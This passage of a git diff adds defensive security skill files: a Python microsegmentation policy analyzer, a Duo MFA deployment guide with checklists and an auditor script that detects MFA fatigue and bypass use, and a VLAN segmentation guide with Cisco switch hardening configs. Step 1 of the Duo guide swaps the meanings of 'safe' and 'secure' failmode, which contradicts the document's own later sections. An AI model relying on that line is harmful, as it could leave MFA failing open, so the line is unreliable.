generate_segmentation_rules(dep_map: dict, default_action: str = "deny") -> list: + """Generate microsegmentation rules from dependency map.""" + rules = [] + rule_id = 1 + + for src, destinations in dep_map.items(): + for dst, stats in destinations.items(): + for port in stats["ports"]: + for proto in stats["protocols"]: + rules.append({ + "id": rule_id, + "action": "allow", + "src": src, + "dst": dst, + "port": port, + "protocol": proto, + "justification": f"Observed {stats['flow_count']} flows, {stats['total_bytes']} bytes", + "status": "proposed", + }) + rule_id += 1 + + rules.append({ + "id": rule_id, + "action": default_action, + "src": "any", + "dst": "any", + "port": "any", + "protocol": "any", + "justification": "Default deny - zero trust baseline", + "status": "proposed", + }) + return rules + + +def validate_policy_against_flows(policy_rules: list, flows: list) -> dict: + """Validate segmentation policy against observed flows. Identify blocks and gaps.""" + results = { + "allowed_flows": 0, + "blocked_flows": 0, + "unmatched_flows": 0, + "blocked_details": [], + "unmatched_details": [], + } + + allow_rules = [r for r in policy_rules if r["action"] == "allow"] + has_default_deny = any( + r["action"] == "deny" and r.get("src") == "any" and r.get("dst") == "any" + for r in policy_rules + ) + + for flow in flows: + src = flow.get("src_label") or flow["src_ip"] + dst = flow.get("dst_label") or flow["dst_ip"] + port = flow["dst_port"] + proto = flow["protocol"] + + matched = False + for rule in allow_rules: + src_match = rule["src"] in (src, "any") + dst_match = rule["dst"] in (dst, "any") + port_match = rule["port"] in (port, "any") + proto_match = rule["protocol"] in (proto, "any") + + if src_match and dst_match and port_match and proto_match: + results["allowed_flows"] += 1 + matched = True + break + + if not matched: + if has_default_deny: + results["blocked_flows"] += 1 + results["blocked_details"].append({ + "src": src, "dst": dst, "port": port, "protocol": proto, + "timestamp": flow.get("timestamp", ""), + }) + else: + results["unmatched_flows"] += 1 + results["unmatched_details"].append({ + "src": src, "dst": dst, "port": port, "protocol": proto, + }) + + return results + + +def identify_segmentation_zones(flows: list, workload_labels: dict) -> dict: + """Identify natural segmentation zones from flow patterns and labels.""" + zones = defaultdict(lambda: {"workloads": set(), "internal_flows": 0, "external_flows": 0}) + + for flow in flows: + src_ip = flow["src_ip"] + dst_ip = flow["dst_ip"] + + src_zone = workload_labels.get(src_ip, {}).get("application", "unknown") + dst_zone = workload_labels.get(dst_ip, {}).get("application", "unknown") + + zones[src_zone]["workloads"].add(src_ip) + zones[dst_zone]["workloads"].add(dst_ip) + + if src_zone == dst_zone: + zones[src_zone]["internal_flows"] += 1 + else: + zones[src_zone]["external_flows"] += 1 + zones[dst_zone]["external_flows"] += 1 + + serializable = {} + for zone_name, stats in zones.items(): + serializable[zone_name] = { + "workloads": sorted(list(stats["workloads"])), + "workload_count": len(stats["workloads"]), + "internal_flows": stats["internal_flows"], + "external_flows": stats["external_flows"], + "isolation_ratio": round( + stats["internal_flows"] / max(stats["internal_flows"] + stats["external_flows"], 1), + 2 + ), + } + return serializable + + +def detect_anomalous_flows(flows: list, policy_rules: list) -> list: + """Detect flows that violate segmentation policy and may indicate lateral movement.""" + anomalies = [] + allow_set = set() + + for rule in policy_rules: + if rule["action"] == "allow": + allow_set.add((rule["src"], rule["dst"], rule["port"], rule["protocol"])) + + for flow in flows: + src = flow.get("src_label") or flow["src_ip"] + dst = flow.get("dst_label") or flow["dst_ip"] + port = flow["dst_port"] + proto = flow["protocol"] + + is_allowed = ( + (src, dst, port, proto) in allow_set + or ("any", dst, port, proto) in allow_set + or (src, "any", port, proto) in allow_set + or (src, dst, "any", proto) in allow_set + ) + + if not is_allowed: + anomalies.append({ + "src": src, + "dst": dst, + "port": port, + "protocol": proto, + "bytes": flow.get("bytes", 0), + "timestamp": flow.get("timestamp", ""), + "severity": "high" if port in [22, 3389, 445, 135] else "medium", + "reason": "Flow not covered by any allow rule", + }) + + return sorted(anomalies, key=lambda x: x["severity"]) + + +def generate_segmentation_report(flows: list, policy_rules: list, workload_labels: dict) -> dict: + """Generate comprehensive microsegmentation report.""" + dep_map = build_dependency_map(flows) + zones = identify_segmentation_zones(flows, workload_labels) + validation = validate_policy_against_flows(policy_rules, flows) + anomalies = detect_anomalous_flows(flows, policy_rules) + + unique_sources = set(f.get("src_label") or f["src_ip"] for f in flows) + unique_dests = set(f.get("dst_label") or f["dst_ip"] for f in flows) + unique_ports = set(f["dst_port"] for f in flows) + + return { + "generated": datetime.now().isoformat(), + "summary": { + "total_flows": len(flows), + "unique_sources": len(unique_sources), + "unique_destinations": len(unique_dests), + "unique_ports": len(unique_ports), + "segmentation_zones": len(zones), + "policy_rules": len(policy_rules), + "allowed_flows": validation["allowed_flows"], + "blocked_flows": validation["blocked_flows"], + "anomalies_detected": len(anomalies), + }, + "zones": zones, + "validation": validation, + "anomalies": anomalies[:50], + "dependency_map_summary": { + src: len(dsts) for src, dsts in dep_map.items() + }, + } + + +def main(): + import argparse + + parser = argparse.ArgumentParser(description="Microsegmentation Policy Analyzer") + parser.add_argument("--flows", type=str, help="Path to flow data (CSV or JSON)") + parser.add_argument("--policy", type=str, help="Path to policy rules JSON") + parser.add_argument("--labels", type=str, help="Path to workload labels JSON") + parser.add_argument("--action", choices=["map", "rules", "validate", "report", "anomalies"], + default="report", help="Action to perform") + parser.add_argument("--output", type=str, default="segmentation_report.json", help="Output file") + args = parser.parse_args() + + if not args.flows: + parser.print_help() + return + + flows = parse_flow_data(args.flows) + print(f"Loaded {len(flows)} flows") + + policy_rules = [] + if args.policy: + with open(args.policy) as f: + policy_rules = json.load(f) + + workload_labels = {} + if args.labels: + with open(args.labels) as f: + workload_labels = json.load(f) + + if args.action == "map": + dep_map = build_dependency_map(flows) + with open(args.output, "w") as f: + json.dump(dep_map, f, indent=2) + print(f"Dependency map: {len(dep_map)} sources mapped") + + elif args.action == "rules": + dep_map = build_dependency_map(flows) + rules = generate_segmentation_rules(dep_map) + with open(args.output, "w") as f: + json.dump(rules, f, indent=2) + print(f"Generated {len(rules)} proposed rules") + + elif args.action == "validate": + if not policy_rules: + print("Error: --policy required for validation") + return + results = validate_policy_against_flows(policy_rules, flows) + with open(args.output, "w") as f: + json.dump(results, f, indent=2) + print(f"Allowed: {results['allowed_flows']}, Blocked: {results['blocked_flows']}") + + elif args.action == "anomalies": + if not policy_rules: + print("Error: --policy required for anomaly detection") + return + anomalies = detect_anomalous_flows(flows, policy_rules) + with open(args.output, "w") as f: + json.dump(anomalies, f, indent=2) + print(f"Detected {len(anomalies)} anomalous flows") + + elif args.action == "report": + report = generate_segmentation_report(flows, policy_rules, workload_labels) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"Report generated: {args.output}") + print(f" Zones: {report['summary']['segmentation_zones']}") + print(f" Anomalies: {report['summary']['anomalies_detected']}") + + print(f"Output saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-multi-factor-authentication-with-duo/SKILL.md b/skills/configuring-multi-factor-authentication-with-duo/SKILL.md new file mode 100644 index 00000000..7c5b98f7 --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/SKILL.md @@ -0,0 +1,120 @@ +--- +name: None +description: Deploy Cisco Duo multi-factor authentication across enterprise applications, VPN, RDP, and SSH access points. This skill covers Duo integration methods, adaptive authentication policies, device trust +domain: cybersecurity +subdomain: identity-access-management +tags: [iam, identity, access-control, authentication, mfa, duo, multi-factor] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring Multi-Factor Authentication with Duo + +## Overview +Deploy Cisco Duo multi-factor authentication across enterprise applications, VPN, RDP, and SSH access points. This skill covers Duo integration methods, adaptive authentication policies, device trust assessment, and phishing-resistant MFA deployment aligned with NIST 800-63B AAL2/AAL3 requirements. + +## Objectives +- Configure Duo MFA for VPN, RDP, SSH, and web applications +- Implement adaptive access policies based on user, device, and network context +- Deploy phishing-resistant authentication (Duo Verified Push, WebAuthn) +- Configure device health policies (trusted endpoints, OS version enforcement) +- Set up Duo Admin Panel monitoring and reporting +- Implement MFA bypass and emergency access procedures + +## Key Concepts + +### Duo Authentication Methods (by security strength) +1. **Security Keys (WebAuthn/FIDO2)**: Phishing-resistant, AAL3 capable +2. **Duo Verified Push**: Requires code entry, resistant to MFA fatigue attacks +3. **Duo Push**: Push notification to Duo Mobile app +4. **TOTP (Duo Mobile Passcode)**: Time-based one-time password +5. **Hardware Tokens**: OTP from physical token +6. **SMS/Phone Call**: Least secure, use only as fallback + +### Duo Integration Architecture +- **Duo Authentication Proxy**: On-premises proxy for RADIUS/LDAP integration +- **Duo Web SDK**: Embed Duo MFA in web applications +- **Duo OIDC/SAML**: SSO integration for cloud applications +- **Duo for RDP**: Windows Logon MFA +- **Duo Unix**: PAM-based MFA for SSH + +### Adaptive Access Policies +- **Trusted Networks**: Reduce MFA friction for corporate networks +- **Remembered Devices**: Skip MFA for trusted devices (configurable duration) +- **Device Health**: Block or require MFA based on OS patch level, encryption, firewall +- **Risk-Based Authentication**: Step-up MFA for anomalous login patterns + +## Implementation Steps + +### Step 1: Duo Authentication Proxy Setup +1. Deploy Duo Authentication Proxy on Windows/Linux server +2. Configure primary authentication (AD/LDAP or RADIUS) +3. Configure Duo API credentials (Integration Key, Secret Key, API Hostname) +4. Set failmode (safe=deny if Duo unreachable, secure=allow) +5. Test proxy connectivity to Duo cloud and AD + +### Step 2: VPN MFA Integration +1. Configure VPN concentrator for RADIUS authentication +2. Point RADIUS to Duo Authentication Proxy +3. Configure Duo proxy with [radius_server_auto] section +4. Test VPN login with Duo Push +5. Deploy to all VPN users with enrollment period + +### Step 3: RDP/Windows Logon MFA +1. Install Duo Authentication for Windows Logon on target servers +2. Configure Duo application in Admin Panel +3. Set offline access options (allow N offline logins) +4. Configure bypass for service accounts +5. Test RDP login with Duo MFA + +### Step 4: Adaptive Policy Configuration +1. Create user groups (Standard, Privileged, Contractors) +2. Configure per-group authentication policies: + - Standard: Duo Push allowed, remembered device 7 days + - Privileged: Verified Push required, no remembered device + - Contractors: WebAuthn required, no remembered device +3. Configure device health policies: + - Require encrypted disk + - Block outdated OS versions + - Require firewall enabled +4. Set trusted network exceptions for corporate IPs + +### Step 5: Phishing-Resistant MFA Deployment +1. Enable Verified Push (requires entering 3-digit code from login screen) +2. Register WebAuthn/FIDO2 security keys for privileged users +3. Disable SMS and phone call for high-risk groups +4. Configure Duo Risk-Based Factor Selection +5. Monitor for MFA fatigue attack patterns + +### Step 6: Monitoring and Response +1. Configure Duo Admin Panel alerts +2. Set up authentication log forwarding to SIEM +3. Monitor for: MFA denial patterns, bypass usage, new device enrollments +4. Create incident response playbook for MFA compromise +5. Regular review of bypass and exception policies + +## Security Controls +| Control | NIST 800-53 | Description | +|---------|-------------|-------------| +| MFA | IA-2(1) | Multi-factor authentication for network access | +| MFA for Privileged | IA-2(2) | MFA for privileged account access | +| Replay Resistance | IA-2(8) | Replay-resistant authentication | +| Device Identification | IA-3 | Device identity and trust | +| Authenticator Management | IA-5 | MFA enrollment and lifecycle | + +## Common Pitfalls +- Not deploying phishing-resistant MFA (Verified Push/FIDO2) for privileged accounts +- Setting failmode to "safe" (allow access when Duo is down) in production +- Not disabling SMS/phone call for users with app-capable devices +- Forgetting to configure offline access for laptops +- Not monitoring for MFA fatigue/prompt bombing attacks + +## Verification +- [ ] VPN login requires Duo MFA +- [ ] RDP to servers requires Duo MFA +- [ ] SSH access requires Duo MFA +- [ ] Verified Push enabled for privileged users +- [ ] Device health policy blocks non-compliant devices +- [ ] Authentication logs forwarded to SIEM +- [ ] Bypass/emergency access procedures tested +- [ ] MFA fatigue detection alerts configured diff --git a/skills/configuring-multi-factor-authentication-with-duo/assets/template.md b/skills/configuring-multi-factor-authentication-with-duo/assets/template.md new file mode 100644 index 00000000..1af40c64 --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/assets/template.md @@ -0,0 +1,37 @@ +# Duo MFA Deployment Checklist + +## Duo Admin Panel Configuration +- [ ] Admin account secured with hardware security key +- [ ] Admin API credentials generated and stored securely +- [ ] AD Sync configured for user provisioning +- [ ] User groups created (Standard, Privileged, Contractors) + +## Authentication Policy Matrix +| Group | Push | Verified Push | WebAuthn | TOTP | SMS | Phone | Remember | +|-------|------|---------------|----------|------|-----|-------|----------| +| Standard | Yes | No | Optional | Yes | No | No | 7 days | +| Privileged | No | Yes | Yes | Backup | No | No | None | +| Contractors | Yes | No | No | Yes | No | No | None | + +## Integration Points +| System | Integration Method | Status | +|--------|--------------------|--------| +| VPN (Cisco ASA) | RADIUS via Auth Proxy | [ ] | +| VPN (Palo Alto) | RADIUS via Auth Proxy | [ ] | +| Windows RDP | Duo for Windows Logon | [ ] | +| Linux SSH | Duo Unix (PAM) | [ ] | +| Web Apps (SAML) | Duo SSO | [ ] | +| Office 365 | Duo + Azure AD | [ ] | + +## Device Health Policy +- [ ] Require disk encryption +- [ ] Minimum OS version: Windows 10 22H2 / macOS 13 / iOS 16 / Android 12 +- [ ] Require firewall enabled +- [ ] Block jailbroken/rooted devices +- [ ] Require screen lock + +## Emergency Procedures +- [ ] Bypass code generation procedure documented +- [ ] Failmode configuration documented per integration +- [ ] Emergency contact list for Duo outage +- [ ] Alternative authentication path tested diff --git a/skills/configuring-multi-factor-authentication-with-duo/references/standards.md b/skills/configuring-multi-factor-authentication-with-duo/references/standards.md new file mode 100644 index 00000000..3bab70af --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/references/standards.md @@ -0,0 +1,26 @@ +# Standards and References - MFA with Duo + +## NIST Standards +- **NIST SP 800-63B**: Digital Identity Guidelines - Authentication and Lifecycle Management + - AAL1: Single-factor authentication + - AAL2: Multi-factor authentication (Duo Push, TOTP) + - AAL3: Hardware-based phishing-resistant (FIDO2, PIV) +- **NIST SP 800-53 Rev 5**: IA-2, IA-2(1), IA-2(2), IA-2(6), IA-2(8), IA-3, IA-5 + +## Duo Documentation +- **Duo Authentication Proxy**: https://duo.com/docs/authproxy-reference +- **Duo for RDP**: https://duo.com/docs/rdp +- **Duo Unix (SSH)**: https://duo.com/docs/duounix +- **Duo Web SDK**: https://duo.com/docs/duoweb +- **Duo Verified Push**: https://duo.com/blog/webauthn-passwordless-fido2-explained-componens-passwordless-architecture +- **Duo Admin API**: https://duo.com/docs/adminapi + +## CISA Guidance +- **CISA MFA Guidance**: Phishing-resistant MFA requirement for federal agencies +- **EO 14028**: Executive Order on Improving the Nation's Cybersecurity - MFA mandate + +## Compliance +- **PCI DSS 4.0**: Requirement 8.3.1 - MFA for all access to CDE +- **HIPAA**: 45 CFR 164.312(d) - Person or entity authentication +- **SOX**: MFA for privileged financial system access +- **CMMC**: Level 2 - IA.L2-3.5.3 Multi-factor authentication diff --git a/skills/configuring-multi-factor-authentication-with-duo/references/workflows.md b/skills/configuring-multi-factor-authentication-with-duo/references/workflows.md new file mode 100644 index 00000000..115a9b25 --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/references/workflows.md @@ -0,0 +1,36 @@ +# MFA with Duo Workflows + +## Workflow 1: Duo Authentication Proxy Deployment +1. Install Duo Authentication Proxy on dedicated server +2. Configure authproxy.cfg with AD/LDAP primary auth +3. Add Duo API credentials (ikey, skey, api_host) +4. Set failmode=safe for initial testing, change to secure for production +5. Start Duo proxy service, verify connectivity +6. Configure VPN/application to use proxy as RADIUS server +7. Test with pilot group before full deployment + +## Workflow 2: User Enrollment +1. Admin creates Duo user (manual or AD sync) +2. User receives enrollment email/link +3. User installs Duo Mobile app +4. User scans QR code to link device +5. User completes test authentication +6. Admin verifies enrollment status in Admin Panel + +## Workflow 3: MFA Fatigue Attack Response +1. Detect multiple rapid push notifications to single user +2. Alert security team via SIEM integration +3. Temporarily lock user's Duo account +4. Contact user to verify if they initiated authentication +5. If unauthorized: reset credentials, investigate source +6. If authorized: educate user, enable Verified Push +7. Update policy to require Verified Push for affected group + +## Workflow 4: Duo Failover and Emergency Access +1. Duo cloud service becomes unreachable +2. Authentication Proxy checks failmode setting +3. If failmode=secure: deny all access (most secure) +4. If failmode=safe: allow primary auth only (business continuity) +5. Admin monitors Duo status page for resolution +6. After restoration: review all authentications during outage +7. Investigate any suspicious access during failover period diff --git a/skills/configuring-multi-factor-authentication-with-duo/scripts/process.py b/skills/configuring-multi-factor-authentication-with-duo/scripts/process.py new file mode 100644 index 00000000..56865253 --- /dev/null +++ b/skills/configuring-multi-factor-authentication-with-duo/scripts/process.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python3 +""" +Duo MFA Configuration Auditor and Health Checker + +Audits Duo MFA deployment configuration, checks policy compliance, +detects MFA fatigue patterns, and monitors authentication health. +""" + +import json +import datetime +from typing import Dict, List, Optional +from dataclasses import dataclass, field +from collections import defaultdict + + +@dataclass +class DuoPolicy: + """Duo authentication policy configuration.""" + policy_name: str + group: str + allowed_methods: List[str] # push, verified_push, webauthn, totp, sms, phone + remembered_devices_days: int = 0 + require_device_health: bool = False + require_encryption: bool = False + min_os_version: str = "" + trusted_networks: List[str] = field(default_factory=list) + failmode: str = "secure" # secure or safe + + +@dataclass +class AuthEvent: + """Authentication event from Duo logs.""" + timestamp: str + username: str + factor: str # push, verified_push, webauthn, totp, sms, phone, bypass + result: str # success, denied, fraud, timeout + ip_address: str + device_os: str = "" + application: str = "" + reason: str = "" + + +@dataclass +class MFAAuditFinding: + """MFA audit finding.""" + severity: str + category: str + title: str + description: str + recommendation: str = "" + + +class DuoMFAAuditor: + """Audits Duo MFA configuration and detects anomalies.""" + + PHISHING_RESISTANT = {"verified_push", "webauthn", "fido2"} + WEAK_METHODS = {"sms", "phone"} + AAL2_METHODS = {"push", "verified_push", "webauthn", "totp", "fido2"} + + def __init__(self): + self.policies: List[DuoPolicy] = [] + self.auth_events: List[AuthEvent] = [] + self.findings: List[MFAAuditFinding] = [] + + def load_policies(self, policies: List[Dict]): + for p in policies: + self.policies.append(DuoPolicy(**p)) + + def load_auth_events(self, events: List[Dict]): + for e in events: + self.auth_events.append(AuthEvent(**e)) + + def audit_all(self) -> List[MFAAuditFinding]: + self.findings = [] + self._audit_policy_strength() + self._audit_weak_methods() + self._audit_device_health() + self._audit_failmode() + self._audit_remembered_devices() + self._detect_mfa_fatigue() + self._detect_bypass_usage() + self._audit_method_distribution() + return self.findings + + def _audit_policy_strength(self): + for policy in self.policies: + has_phishing_resistant = any( + m in self.PHISHING_RESISTANT for m in policy.allowed_methods + ) + if "privileged" in policy.group.lower() or "admin" in policy.group.lower(): + if not has_phishing_resistant: + self.findings.append(MFAAuditFinding( + severity="critical", + category="Policy Strength", + title=f"Privileged group '{policy.group}' lacks phishing-resistant MFA", + description=f"Policy '{policy.policy_name}' allows only: {', '.join(policy.allowed_methods)}", + recommendation="Enable Verified Push or WebAuthn for privileged users per CISA guidance" + )) + + def _audit_weak_methods(self): + for policy in self.policies: + weak = set(policy.allowed_methods) & self.WEAK_METHODS + if weak: + self.findings.append(MFAAuditFinding( + severity="high", + category="Weak Methods", + title=f"Weak MFA methods enabled for '{policy.group}'", + description=f"SMS and/or phone call enabled: {', '.join(weak)}. " + "These are vulnerable to SIM swapping and social engineering.", + recommendation="Disable SMS/phone for users with smartphone access. Use push or WebAuthn." + )) + + def _audit_device_health(self): + for policy in self.policies: + if not policy.require_device_health: + self.findings.append(MFAAuditFinding( + severity="medium", + category="Device Health", + title=f"Device health not enforced for '{policy.group}'", + description="Unmanaged or unhealthy devices can authenticate without restriction.", + recommendation="Enable device health policy to check OS version, encryption, and firewall." + )) + + def _audit_failmode(self): + for policy in self.policies: + if policy.failmode == "safe": + self.findings.append(MFAAuditFinding( + severity="high", + category="Failmode", + title=f"Failmode set to 'safe' for '{policy.policy_name}'", + description="When Duo is unreachable, users are allowed in without MFA.", + recommendation="Set failmode to 'secure' to deny access when Duo is unavailable." + )) + + def _audit_remembered_devices(self): + for policy in self.policies: + if policy.remembered_devices_days > 30: + self.findings.append(MFAAuditFinding( + severity="medium", + category="Remembered Devices", + title=f"Long remembered device period for '{policy.group}'", + description=f"Devices remembered for {policy.remembered_devices_days} days. " + "Stolen devices retain MFA bypass.", + recommendation="Reduce remembered device period to 7 days or less." + )) + + def _detect_mfa_fatigue(self): + """Detect potential MFA prompt bombing / fatigue attacks.""" + user_denials = defaultdict(list) + for event in self.auth_events: + if event.result in ("denied", "timeout", "fraud"): + user_denials[event.username].append(event) + + for user, denials in user_denials.items(): + if len(denials) >= 5: + # Check if denials happened within a short window + timestamps = sorted(denials, key=lambda e: e.timestamp) + if len(timestamps) >= 5: + self.findings.append(MFAAuditFinding( + severity="critical", + category="MFA Fatigue", + title=f"Potential MFA fatigue attack on user '{user}'", + description=f"{len(denials)} denied/timeout MFA attempts detected. " + "This pattern indicates potential MFA prompt bombing.", + recommendation=f"Lock account '{user}', verify with user, enable Verified Push, " + "investigate source IPs." + )) + + def _detect_bypass_usage(self): + bypass_events = [e for e in self.auth_events if e.factor == "bypass"] + if bypass_events: + users = set(e.username for e in bypass_events) + self.findings.append(MFAAuditFinding( + severity="high", + category="Bypass Usage", + title=f"{len(bypass_events)} MFA bypass authentications detected", + description=f"Users with bypass codes: {', '.join(users)}. " + "Bypass codes circumvent MFA protection.", + recommendation="Review bypass usage. Ensure bypass codes are single-use and time-limited." + )) + + def _audit_method_distribution(self): + method_counts = defaultdict(int) + for event in self.auth_events: + if event.result == "success": + method_counts[event.factor] += 1 + + total = sum(method_counts.values()) + if total > 0: + weak_pct = sum(method_counts.get(m, 0) for m in self.WEAK_METHODS) / total * 100 + if weak_pct > 10: + self.findings.append(MFAAuditFinding( + severity="medium", + category="Method Distribution", + title=f"{weak_pct:.1f}% of authentications use weak MFA methods", + description="Significant portion of users still using SMS/phone.", + recommendation="Migrate users to Duo Push, Verified Push, or WebAuthn." + )) + + def generate_report(self) -> str: + if not self.findings: + self.audit_all() + + lines = [ + "=" * 70, + "DUO MFA CONFIGURATION AUDIT REPORT", + "=" * 70, + f"Report Date: {datetime.datetime.now().isoformat()}", + f"Policies Audited: {len(self.policies)}", + f"Auth Events Analyzed: {len(self.auth_events)}", + f"Findings: {len(self.findings)}", + "-" * 70, "" + ] + + severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} + for f in sorted(self.findings, key=lambda x: severity_order.get(x.severity, 5)): + lines.append(f"[{f.severity.upper()}] {f.title}") + lines.append(f" Category: {f.category}") + lines.append(f" {f.description}") + if f.recommendation: + lines.append(f" Fix: {f.recommendation}") + lines.append("") + + lines.append("=" * 70) + critical = sum(1 for f in self.findings if f.severity == "critical") + lines.append(f"OVERALL: {'FAIL' if critical > 0 else 'PASS WITH FINDINGS' if self.findings else 'PASS'}") + lines.append("=" * 70) + return "\n".join(lines) + + +def main(): + auditor = DuoMFAAuditor() + auditor.load_policies([ + {"policy_name": "Standard Users", "group": "standard_users", + "allowed_methods": ["push", "totp", "sms"], "remembered_devices_days": 7, + "failmode": "secure"}, + {"policy_name": "Privileged Admins", "group": "privileged_admins", + "allowed_methods": ["push", "totp"], "remembered_devices_days": 0, + "require_device_health": True, "failmode": "safe"}, + {"policy_name": "Contractors", "group": "contractors", + "allowed_methods": ["push", "phone", "sms"], "remembered_devices_days": 45, + "failmode": "secure"}, + ]) + + auditor.load_auth_events([ + {"timestamp": "2026-02-23T08:00:00", "username": "alice", "factor": "push", + "result": "success", "ip_address": "10.0.1.50", "application": "VPN"}, + {"timestamp": "2026-02-23T08:01:00", "username": "bob", "factor": "sms", + "result": "success", "ip_address": "192.168.1.100", "application": "VPN"}, + {"timestamp": "2026-02-23T08:02:00", "username": "charlie", "factor": "push", + "result": "denied", "ip_address": "203.0.113.50", "application": "RDP"}, + {"timestamp": "2026-02-23T08:02:30", "username": "charlie", "factor": "push", + "result": "denied", "ip_address": "203.0.113.50", "application": "RDP"}, + {"timestamp": "2026-02-23T08:03:00", "username": "charlie", "factor": "push", + "result": "denied", "ip_address": "203.0.113.50", "application": "RDP"}, + {"timestamp": "2026-02-23T08:03:30", "username": "charlie", "factor": "push", + "result": "timeout", "ip_address": "203.0.113.50", "application": "RDP"}, + {"timestamp": "2026-02-23T08:04:00", "username": "charlie", "factor": "push", + "result": "denied", "ip_address": "203.0.113.50", "application": "RDP"}, + {"timestamp": "2026-02-23T09:00:00", "username": "dave", "factor": "bypass", + "result": "success", "ip_address": "10.0.2.75", "application": "SSH"}, + ]) + + print(auditor.generate_report()) + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-network-segmentation-with-vlans/SKILL.md b/skills/configuring-network-segmentation-with-vlans/SKILL.md new file mode 100644 index 00000000..af75a796 --- /dev/null +++ b/skills/configuring-network-segmentation-with-vlans/SKILL.md @@ -0,0 +1,409 @@ +--- +name: configuring-network-segmentation-with-vlans +description: > + Designs and implements VLAN-based network segmentation on managed switches to isolate + network zones, enforce access control between segments, and reduce the attack surface + by limiting lateral movement paths in enterprise network environments. +domain: cybersecurity +subdomain: network-security +tags: [network-security, vlan, network-segmentation, switch-security, 802.1q] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring Network Segmentation with VLANs + +## When to Use + +- Segmenting an enterprise network into isolated security zones (corporate, servers, DMZ, guest, IoT) +- Meeting compliance requirements (PCI-DSS, HIPAA, SOC 2) that mandate network isolation for sensitive data +- Reducing blast radius of security incidents by preventing lateral movement between network segments +- Isolating high-risk devices (IoT, BYOD, legacy systems) from critical infrastructure +- Implementing defense-in-depth by combining VLANs with firewall rules and access control lists + +**Do not use** VLANs as the sole security control without Layer 3 filtering, for isolating networks that require air-gapping, or without proper switch hardening against VLAN hopping attacks. + +## Prerequisites + +- Managed switches supporting 802.1Q VLAN trunking (Cisco Catalyst, HP Aruba, Juniper EX, etc.) +- Layer 3 switch or firewall for inter-VLAN routing and access control +- Network design document specifying VLAN assignments, IP subnets, and traffic flow requirements +- Console or SSH access to switches with privileged configuration mode +- Understanding of 802.1Q trunking, STP, and inter-VLAN routing concepts + +## Workflow + +### Step 1: Design the VLAN Architecture + +``` +# Define VLANs based on security zones and function + +VLAN Plan: + VLAN 10 - CORPORATE (10.10.10.0/24) - Employee workstations + VLAN 20 - SERVERS (10.10.20.0/24) - Internal servers + VLAN 30 - DMZ (10.10.30.0/24) - Internet-facing servers + VLAN 40 - GUEST (10.10.40.0/24) - Guest WiFi + VLAN 50 - IOT (10.10.50.0/24) - IoT/OT devices + VLAN 60 - VOIP (10.10.60.0/24) - VoIP phones + VLAN 100 - MANAGEMENT (10.10.100.0/24) - Switch/AP management + VLAN 999 - QUARANTINE (10.10.99.0/24) - Isolated/compromised hosts + VLAN 998 - NATIVE_UNUSED - Native VLAN (no traffic) + +# Traffic flow matrix: +# CORPORATE -> SERVERS: Allowed (specific ports) +# CORPORATE -> DMZ: Allowed (HTTP/HTTPS only) +# CORPORATE -> GUEST: Denied +# CORPORATE -> IOT: Denied +# GUEST -> Any Internal: Denied +# IOT -> SERVERS: Allowed (specific ports to specific hosts only) +# DMZ -> SERVERS: Allowed (database ports only) +# MANAGEMENT -> All: Allowed (from management stations only) +``` + +### Step 2: Configure VLANs on Cisco Catalyst Switch + +``` +! Enter configuration mode +enable +configure terminal + +! Create VLANs +vlan 10 + name CORPORATE + exit +vlan 20 + name SERVERS + exit +vlan 30 + name DMZ + exit +vlan 40 + name GUEST + exit +vlan 50 + name IOT + exit +vlan 60 + name VOIP + exit +vlan 100 + name MANAGEMENT + exit +vlan 998 + name NATIVE_UNUSED + exit +vlan 999 + name QUARANTINE + exit + +! Configure access ports for workstations (VLAN 10) +interface range GigabitEthernet1/0/1-24 + switchport mode access + switchport access vlan 10 + switchport nonegotiate + spanning-tree portfast + spanning-tree bpduguard enable + no shutdown + exit + +! Configure access ports for servers (VLAN 20) +interface range GigabitEthernet1/0/25-36 + switchport mode access + switchport access vlan 20 + switchport nonegotiate + spanning-tree portfast + spanning-tree bpduguard enable + no shutdown + exit + +! Configure trunk ports to other switches +interface GigabitEthernet1/0/48 + switchport mode trunk + switchport trunk encapsulation dot1q + switchport trunk native vlan 998 + switchport trunk allowed vlan 10,20,30,40,50,60,100 + switchport nonegotiate + no shutdown + exit + +! Configure trunk to firewall/router +interface GigabitEthernet1/0/47 + switchport mode trunk + switchport trunk encapsulation dot1q + switchport trunk native vlan 998 + switchport trunk allowed vlan 10,20,30,40,50,60,100 + switchport nonegotiate + no shutdown + exit + +! Shutdown unused ports +interface range GigabitEthernet1/0/37-46 + shutdown + switchport mode access + switchport access vlan 999 + exit +``` + +### Step 3: Harden Switch Against VLAN Hopping + +``` +! Disable DTP on all ports (prevents switch spoofing) +interface range GigabitEthernet1/0/1-46 + switchport nonegotiate + exit + +! Set native VLAN to unused VLAN on all trunks +interface range GigabitEthernet1/0/47-48 + switchport trunk native vlan 998 + exit + +! Enable DHCP Snooping +ip dhcp snooping +ip dhcp snooping vlan 10,20,30,40,50,60 +interface GigabitEthernet1/0/47 + ip dhcp snooping trust + exit + +! Enable Dynamic ARP Inspection +ip arp inspection vlan 10,20,30,40,50,60 +interface GigabitEthernet1/0/47 + ip arp inspection trust + exit + +! Enable IP Source Guard (prevents IP spoofing) +interface range GigabitEthernet1/0/1-36 + ip verify source + exit + +! Enable Port Security +interface range GigabitEthernet1/0/1-24 + switchport port-security + switchport port-security maximum 2 + switchport port-security violation restrict + switchport port-security aging time 60 + exit + +! Set VTP to transparent mode (prevents VTP attacks) +vtp mode transparent + +! Enable BPDU Guard globally +spanning-tree portfast bpduguard default + +! Enable Storm Control +interface range GigabitEthernet1/0/1-36 + storm-control broadcast level 10 + storm-control multicast level 10 + storm-control action shutdown + exit +``` + +### Step 4: Configure Inter-VLAN Routing with ACLs + +``` +! On the Layer 3 switch or firewall, configure SVIs +interface Vlan10 + ip address 10.10.10.1 255.255.255.0 + no shutdown + exit +interface Vlan20 + ip address 10.10.20.1 255.255.255.0 + no shutdown + exit +interface Vlan30 + ip address 10.10.30.1 255.255.255.0 + no shutdown + exit +interface Vlan40 + ip address 